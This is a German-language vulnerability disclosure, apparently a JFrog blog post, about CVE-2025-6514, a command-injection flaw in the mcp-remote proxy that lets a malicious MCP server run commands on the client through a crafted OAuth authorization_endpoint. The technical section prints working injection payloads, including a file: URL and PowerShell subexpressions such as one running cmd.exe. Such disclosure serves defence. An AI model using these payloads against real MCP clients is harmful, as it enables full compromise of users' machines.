Critical RCE Vulnerability in mcp-remote: CVE-2025-6514 Threatens LLM Clients

Warum Sie keine Verbindung zu nicht vertrauenswürdigen MCP-Servern herstellen sollten

MCP-Remote-Clients anfällig für Remote Code Execution_863x300

Das JFrog Security Research Team hat kürzlich CVE-2025-6514 entdeckt und offengelegt – eine kritische (CVSS 9.6) Sicherheitslücke im Projekt mcp-remote, einem beliebten Tool, das von Clients des Model Context Protocol verwendet wird. Die Schwachstelle ermöglicht es Angreifern, beliebiger Betriebssystembefehle auf dem Rechner auszuführen, auf dem mcp-remote läuft, sobald dieser eine Verbindung zu einem nicht vertrauenswürdigen MCP-Server herstellt. Für Nutzer besteht dadurch ein erhebliches Risiko bis hin zur vollständigen Kompromittierung des Systems.

mcp-remote ist ein Proxy, der es Hosts von Large Language Models (LLM) wie Claude Desktop ermöglicht, mit Remote-MCP-Servern zu kommunizieren, selbst wenn diese nativ nur die Kommunikation mit lokalen MCP-Servern unterstützen.

Während zuvor veröffentlichte Untersuchungen bereits Risiken aufgezeigt haben, die entstehen, wenn MCP-Clients eine Verbindung zu bösartigen MCP-Servern herstellen. ist dies das erste Mal, dass eine vollständige Remote Code Execution in einem realen Szenario auf dem Client-Betriebssystem erreicht wurde, wenn eine Verbindung zu einem nicht vertrauenswürdigen Remote-MCP-Server hergestellt wird.

Wir möchten Glen Maddern (@geelen), dem Hauptmaintainervon mcp-remote, für die umgehende Behebung dieser Schwachstelle danken.
Wer ist von CVE-2025-6514 betroffen?
Die Schwachstelle betrifft die mcp-remote-Versionen 0.0.5 bis 0.1.15 und ist seit Version 0.1.16 behoben.

Gefährdet sind alle Nutzer, die eine betroffene Version von mcp-remote verwenden und und damit eine Verbindung zu einem nicht vertrauenswürdigen oder unsicheren MCP-Server herstellen.

Unter Windows konnten wir nachweisen, dass diese Schwachstelle die Ausführung beliebiger Betriebssystembefehle ermöglicht (Shell-Befehle mit vollständiger Parameterkontrolle).
Unter macOS und Linux führt die Schwachstelle zur Ausführung beliebiger ausführbarer Dateien mit eingeschränkter Parameterkontrolle. Die Ausführung beliebiger Betriebssystembefehle auf diesen Plattformen könnte mit weiterer Forschung ebenfalls möglich sein.
Angriffsszenarien:

Szenario 1 – Ein MCP-Client verwendet mcp-remote, um eine Verbindung zu einem nicht vertrauenswürdigen (gehijackten oder bösartigen) MCP-Server herzustellen.

Abbildung 1 – VerbindungsaufbauAbbildung 1: Ein MCP-Client verwendet mcp-remote, um eine Verbindung zu einem nicht vertrauenswürdigen MCP-Server herzustellen.

Szenario 2 – Ein MCP-Client verwendet mcp-remote, um eine unsichere Verbindung zu einem MCP-Server herzustellen (das URL-Schema des Servers ist http), während Angreifer im lokalen LAN einen Man-in-the-Middle-Angriff durchführen, um den MCP-Datenverkehr zu kapern. Dieses Szenario ist in lokalen Netzwerken besonders wahrscheinlich, da MCP-Clients LAN-basierten MCP-Servern eher vertrauen und daher eher eine unsichere Verbindung zu ihnen herstellen.

Abbildung 2 – Angreifer-RedirectAbbildung 2: Ein MCP-Client verwendet mcp-remote, um eine unsichere Verbindung zu einem MCP-Server herzustellen, während lokale Angreifer den MCP-Datenverkehr umleiten/kontrollieren

Wie lässt sich CVE-2025-6514 entschärfen?
CVE-2025-6514 lässt sich durch eine der folgenden Maßnahmen entschärfen:

Aktualisieren Sie mcp-remote auf Version 0.1.16, die einen Fix für diese Schwachstelle enthält. Das ist die empfohlene Lösung.
Stellen Sie nur Verbindungen zu vertrauenswürdigen MCP-Servern her und verwenden Sie dabei HTTPS (sichere Verbindung).

MCP-Transport – lokal vs. remote
Das Model Context Protocol (MCP) ist ein offener Standard, der im November 2024 eingeführt wurde und schnell große Verbreitung und Akzeptanz fand. Er ermöglicht KI-Assistenten und LLM-Hosts, sich in Echtzeit sicher mit externen Datenquellen, Tools und Services zu verbinden und mit ihnen zu interagieren. Dadurch können diese KI-Systeme auf Live-Informationen aus Datenbanken, APIs und Anwendungen zugreifen, während gleichzeitig Sicherheit und die Kontrolle der Nutzer darüber gewahrt bleiben, auf welche Daten die Modelle zugreifen können.
Abbildung 3 – LLM-AnwendungAbbildung 3: Eine LLM-Anwendung verwendet einen lokalen MCP-Server, der auf demselben Rechner läuft
Ursprünglich wurden MCP-Server lokal bereitgestellt und auf demselben Rechner wie die LLM-Anwendung ausgeführt. Inzwischen gibt es Remote-MCP-Server, die es mehreren LLM-Anwendungen ermöglichen, dieselbe MCP-Server-Instanz zu nutzen, während gleichzeitig der betriebliche Aufwand für die Wartung und Aktualisierung von Servern in einzelnen Installationen reduziert wird.
Abbildung 4-Remote-MCP-ServerAbbildung 4: Eine LLM-Anwendung nutzt einen Remote-MCP-Server, indem sie lokal mit mcp-remote kommuniziert, das die Kommunikation über HTTP an den Remote-MCP-Server weiterleitet
Das Tool mcp-remote erlangte in der KI-Community Popularität, als erste Implementierungen von Remote-MCP-Servern aufkamen, während die meisten MCP-Clients immer noch nur die Verbindung zu lokalen Servern unterstützten.

Das Tool ermöglicht Anwendungen, die nur den lokalen MCP-Transport über STDIO unterstützen (wie Claude Desktop, Cursor und Windsurf), über den HTTP-Transport eine Verbindung zu Remote-MCP-Servern herzustellen, indem es als Proxy fungiert.

mcp-remote ist weit verbreitet, wie unter anderem die offizielle Dokumentation von Cloudflare, die auth0-Integrationsdocs, der Blog von Hugging Face sowie Tutorials zur Einführung von Remote-MCP zeigen.

Beachten Sie, dass LLM-Hosts wie Cursor und Windsurf in den vergangenen Wochen die Möglichkeit hinzugefügt haben, sich direkt mit Remote-MCP-Servern zu verbinden. Darüber hinaus hat Anthropic diese Funktion auch für Nutzer von Claude Desktop mit kostenpflichtigem Abonnement verfügbar gemacht.
Zusammenfassung von CVE-2025-6514
Wenn Nutzer ihren LLM-Host, z. B. Claude Desktop, so konfigurieren möchten, dass er eine Verbindung zu einem Remote-MCP-Server herstellt, bearbeiten sie die Konfigurationsdatei von Claude und fügen dort einen mcp-remote-Befehl hinzu, der nur die URL des Remote-MCP-Servers enthält.
{
“mcpServers”: {
“remote-mcp-server-example”: {
“command”: “npx”,
“args”: [
“mcp-remote”,
“http://remote.server.example.com/mcp”
]
}
}
}
Abbildung 5: Beispiel einer MCP-JSON-Konfigurationsdatei, die mithilfe von von mcp-remote einen Remote-MCP-Server konfiguriert
Nach dem Speichern der Konfiguration oder dem Neustart von Claude Desktop beginnt mcp-remote mit der ersten Kommunikation mit dem MCP-Server. Der Server kann dabei eine Authentifizierung anfordern. Anschließend fragt mcp-remote beim Server die Metadaten seiner OAuth-Endpunkte ab. Der Server antwortet unter anderem mit seiner authorization_endpoint-URL (z. B. https://remote.server.example.com/authorize), die im Browser geöffnet werden soll, damit der Nutzer dort seine Zugangsdaten eingeben kann.

Um die Schwachstelle auszunutzen, kann ein bösartiger MCP-Server mit einem speziell präparierten authorization_endpoint-URL-Wert antworten, wie in der folgenden Abbildung dargestellt:
Abbildung 6 – Initialisierung der Remote-VerbindungAbbildung 6: mcp-remote initialisiert die Verbindung mit einem bösartigen MCP-Server
mcp-remote wird versuchen, diese speziell präparierte URL in einem Browser zu öffnen. Aufgrund von CVE-2025-6514 führt das zu einer Command Injection, durch die der Angreifer beliebige Betriebssystembefehle ausführen kann.
Remote-MPC – Abbildung 7
Abbildung 7: calc.exe wird infolge unseres Exploits ausgeführt

Technische Details zu CVE-2025-6514
mcp-remote fungiert als Proxy zwischen dem lokalen (STDIO) MCP-Transport und dem Remote-(Streamable/SSE – HTTP-basierte Protokolle)Transport und stellt gleichzeitig Authentifizierungs-/Autorisierungsfunktionen bereit.

Um mit mcp-remote einen neuen Remote-MCP-Server einzurichten, muss der Nutzer lediglich die Server-URL in die JSON-Konfigurationsdatei des MCP-Clients einfügen – wie in Abbildung 5 oben dargestellt.

Beim erneuten Öffnen der MCP-Client-Anwendung, beispielsweise Claude Desktop, wird der angegebene npx-Befehl ausgeführt, ein Node-Prozess erstellt und die Funktion proxy.ts:runProxy von mcp-remote mit dem serverUrl-Parameteranbieter in der obigen Konfigurationsdatei gestartet.

Diese Funktion erstellt ein NodeOAuthClientProvider-Objekt, das verwendet werden soll, falls der Remote-Server eine Autorisierung erfordert.

Schließlich wird ein StreamableHTTPClientTransport-Objekt erstellt und dessen send-Methode mit dem angegebenen serverUrl-Parameter aufgerufen. Die Anfrage, in diesem Fall an „http://remote.server.example.com/mcp“, erhält vom „bösartigen“ Server eine „401 Unauthorized“-Antwort  – was dazu führt, dass der Client die Funktion auth.ts:auth aufruft, um die Autorisierung zu starten.
Schauen wir uns an, was in der auth-Funktion passiert, die zur besseren Verständlichkeit vereinfacht dargestellt wurde:

export async function auth(
provider: OAuthClientProvider, {serverUrl, authorizationCode?, scope?}): Promise {
let authorizationServerUrl = serverUrl;
try {
/* ### 1 ### */
const resourceMetadata = await discoverOAuthProtectedResourceMetadata(
resourceMetadataUrl || serverUrl);
/* … */
} catch (error) {console.warn(“Could not load OAut..”, error)}

/* ### 2 ### */
const metadata = await discoverOAuthMetadata(authorizationServerUrl);

// Handle client registration if needed
let clientInformation = await Promise.resolve(provider.clientInformation());
if (!clientInformation) {
/* … */
/* ### 3 ### */
const fullInformation = await registerClient(serverUrl, {
metadata,
clientMetadata: provider.clientMetadata });
/* … */
}

/* … */

// Start new authorization flow
/* ### 4 ### */
const { authorizationUrl, codeVerifier } = await startAuthorization(authorizationServerUrl, {
metadata,
clientInformation,
redirectUrl: provider.redirectUrl,
scope: scope || provider.clientMetadata.scope,
});

await provider.saveCodeVerifier(codeVerifier);
/* ### 5 ### */
await provider.redirectToAuthorization(authorizationUrl);
return “REDIRECT”;
}

Abbildung 8: Vereinfachtes Snippet der auth-Funktion aus auth.ts (offizielles MCP TypeScript SDK)
Diese Funktion wird verwendet, um den OAuth-Autorisierungsablauf zu starten. Gehen wir die mit ### nummerierten Inline-Kommentare der Reihe nach durch:

Wir umgehen die Logik von discoverOAuthProtectedResourceMetadata, indem unser Server auf die Fetch-Anfrage dieser Funktion (http://remote.server.example.com/.well-known/oauth-protected-resource) mit 401 Unauthorized antwortet.
Anschließend wird discoverOAuthMetadata aufgerufen und ruft OAuth-Metadaten vom Endpoint /.well-known/oauth-authorization-server unseres Servers ab. Dieser gibt ein JSON-Objekt zurück, das OAuth-Endpunkte und Konfigurationsparameter auflistet. In dieser Antwort ist das Feld authorization_endpoint enthalten. Dessen Wert enthält normalerweise eine Standard-HTTP-URL zur Authentifizierung von Nutzern. Um jedoch die Ausführung eines Befehls auszulösen, gibt der bösartige Server einen speziell präparierten Wert zurück:

{“authorization_endpoint”: “file:/c:/windows/system32/calc.exe”,
“registration_endpoint”: “https://remote.server.example.com/register”,
/* … */
“code_challenge_methods_supported”: [“S256”]}

Anschließend erfolgt die dynamische Client-Registrierung: Beim Zugriff auf unseren /register-Endpunkt geben wir eine gültige Antwort zurück, sodass der Ablauf fortgesetzt wird.
Die Funktion startAuthorization wird aufgerufen (siehe unten) und verwendet den String metadata.authorization_endpoint, den wir in Schritt 2 oben angegeben haben, um eine neue URL() zu erstellen. Anschließend werden Abfrageparameter (Query-String-Parameter) hinzugefügt und das Ergebnis zurückgegeben:

export async function startAuthorization(
serverUrl, {metadata, clientInformation, redirectUrl, scope } {
if (metadata) {
authorizationUrl = new URL(metadata.authorization_endpoint); //javascript:$(calc.exe)
/* … checks some metadata params that pass … */
}
/* … */
/* adding searchParams (query-string) to the authorizationUrl */
authorizationUrl.searchParams.set(“response_type”, responseType);
/* … */
return { authorizationUrl, codeVerifier };
}

Abbildung 9: Vereinfachtes Snippet der startAuthorization-Funktion aus auth.ts (offizielles MCP TypeScript SDK)

Abschließend ruft provider.redirectToAuthorization(authorizationUrl) die Methode redirectToAuthorization unseres Objekts NodeOAuthClientProvider auf, das sich in node-oauth-client-provider.ts befindet:

async redirectToAuthorization(authorizationUrl: URL): Promise {
log(`\nPlease authorize this client by visiting:\n${authorizationUrl.toString()}\n`)
try {
await open(authorizationUrl.toString()) /* ### 6 ### */
log(‘Browser opened automatically.’)

} catch (error) {
/* … *
}
}

Abbildung 10: Vereinfachtes Snippet der redirectToAuthorization-Funktion aus node-oauth-client-provider.ts

Die Funktion open() wird aus dem npm-Paket „open“ importiert.  open(param) führt auf Windows-Rechnern Folgendes aus*:

Ermittelt den powershell.exe-Pfad
Erstellt einen codierten PowerShell-Befehl vor, der das param-Argument ausführt.
Führt dieses in einem neuen Subprozess mit der folgenden Befehlszeile aus:

powershell -NoProfile -NonInteractive -ExecutionPolicy Bypass -EncodedCommand ‘UwB0AGEAcgB0ACAAIgBqAGEAdgB….=’

PowerShell dekodiert den Befehl und führt ihn aus. In unserem Fall wird dadurch calc.exe ausgeführt:

Start “file:/c:/windows/system32/calc.exe?response_type=code…..”

* Das ,open‘-Paket verwendet unter macOS und Linux unterschiedliche Codepfade und führt entsprechend „open URL“ bzw. „xdg-open URL“ aus. Zwar können diese Implementierungen auch ausgenutzt werden, um beliebige ausführbare Dateien über file://-URLs zu starten, jedoch ist die Angriffsfläche eingeschränkter, da keine Shell aufgerufen wird und sich dadurch die Möglichkeit zur Steuerung der Argumente der ausführbaren Datei begrenzen lässt.

Von eingeschränkter zu vollständiger Befehlsausführung
Das Schlüsselwort Start, das sich auf das PowerShell-Cmdlet Start-Process bezieht, kann eine ausführbare Datei starten oder sie für Dateierweiterungs-Zuordnungen oder Protokoll-Handler (URI-Schemata) an die Windows Shell übergeben.

Da der String authorization_endpoint zum Erstellen einer new URL() verwendet wird, muss er in einem gültigen URL-Format vorliegen und mit einem URI-Schema beginnen.

Wird “file:/c:/windows/system32/calc.exe?response_type=code…..” angegeben, wird über das file:-URI-Schema die ausführbare Datei calc.exe gestartet.
Abbildung 11 – Remote ExecutionAbbildung 11: mcp-remote führt den Prozess calc.exe aus, obwohl eigentlich ein Browser zur Autorisierung geöffnet werden soll
Jetzt können wir jede beliebige ausführbare Datei starten, jedoch ohne Argumente – was noch nicht ausreichend ist.

Wir können versuchen, eine Remote-Datei auszuführen, indem wir URLs wie „file://IP_ADDR/Share/test.bat?response_type=code…..“ verwenden, die auf einen UNC-Pfad für den Zugriff auf Netzwerkressourcen verweisen (beachten Sie die doppelten Backslashes).

Es funktioniert – allerdings gibt Windows eine Sicherheitswarnung bezüglich der Ausführung einer Remote-Anwendung aus:
Remote-MCP – Abbildung 12: Sicherheitswarnung, die beim Versuch angezeigt wird, einen UNC-Pfad auszuführenRemote-MPC – Abbildung 13
Versuchen wir eine andere Strategie: Da der Befehl innerhalb einer PowerShell ausgeführt wird, können wir die Subexpression-Auswertung zur Einschleusung unserer Befehle missbrauchen: „http://www.example$(calc.exe).com/?response_type=code…..“. Dadurch wird calc.exe ausgeführt, da der Subexpression-Operator $( ) seinen Parameterausdruck auswertet (ausführt).

Wenn wir ein Leerzeichen angeben könnten, würde uns diese Technik ermöglichen, beliebige Parameter in den Befehl einzuschleusen. Da unser String jedoch zuvor URL() durchlief und Leerzeichen in URLs nicht zulässig sind, schlägt entweder der Aufruf von new URL() fehl – falls es sich innerhalb der Domain befindet – oder es wird zu %20 URL-codiert. Beispielsweise wird die Eingabe „http://www.example.com/$(cmd.exe /c echo test)“ umgewandelt in „http://www.example.com/$(cmd.exe%20/c%20echo%20test)/?response_type=code…..“.
Dasselbe geschieht bei Versuchen mit „file:“.

Schließlich stellten wir fest, dass bei Angabe eines nicht existierenden Schemas, das keinen Backslash enthält, keine URL-Kodierung erfolgt. Dadurch können wir „a:$(cmd.exe /c whoami > c:\\temp\\pwned.txt)?response_type=code…..“ angeben und eine vollständige Befehlsausführung erreichen!

Abbildung 13: Eine neue Datei pwned.txt wurde infolge unseres Befehls cmd.exe /c in C:\temp erstellt  – ein Beleg dafür, dass die Codeausführung erfolgreich war.

Zusammenfassung
Mit der Entdeckung von CVE-2025-6514 haben wir gezeigt, dass bei einer Verbindung zu nicht vertrauenswürdigen MCP-Servern eine Remote Code Execution möglich ist. Wie bereits erwähnt, haben LLM-Hosts wie Cursor, Windsurf und Claude nun ähnliche Funktionen für Remote-MCP-Verbindungen hinzugefügt. MCP-Nutzer sollten besonders darauf achten, ausschließlich über sichere Verbindungsmethoden (HTTPS) auf vertrauenswürdige MCP-Servern zuzugreifen, da im stetig wachsenden MCP-Ökosystem ähnliche Schwachstellen wie CVE-2025-6514 entdeckt werden könnten.

Um über weitere Angriffe und Zero-Day-Schwachstellen auf dem Laufenden zu bleiben, besuchen Sie das JFrog Security ResearchCenter. Dort erhalten Sie aktuelle Informationen zu CVEs, Schwachstellen und deren Behebung.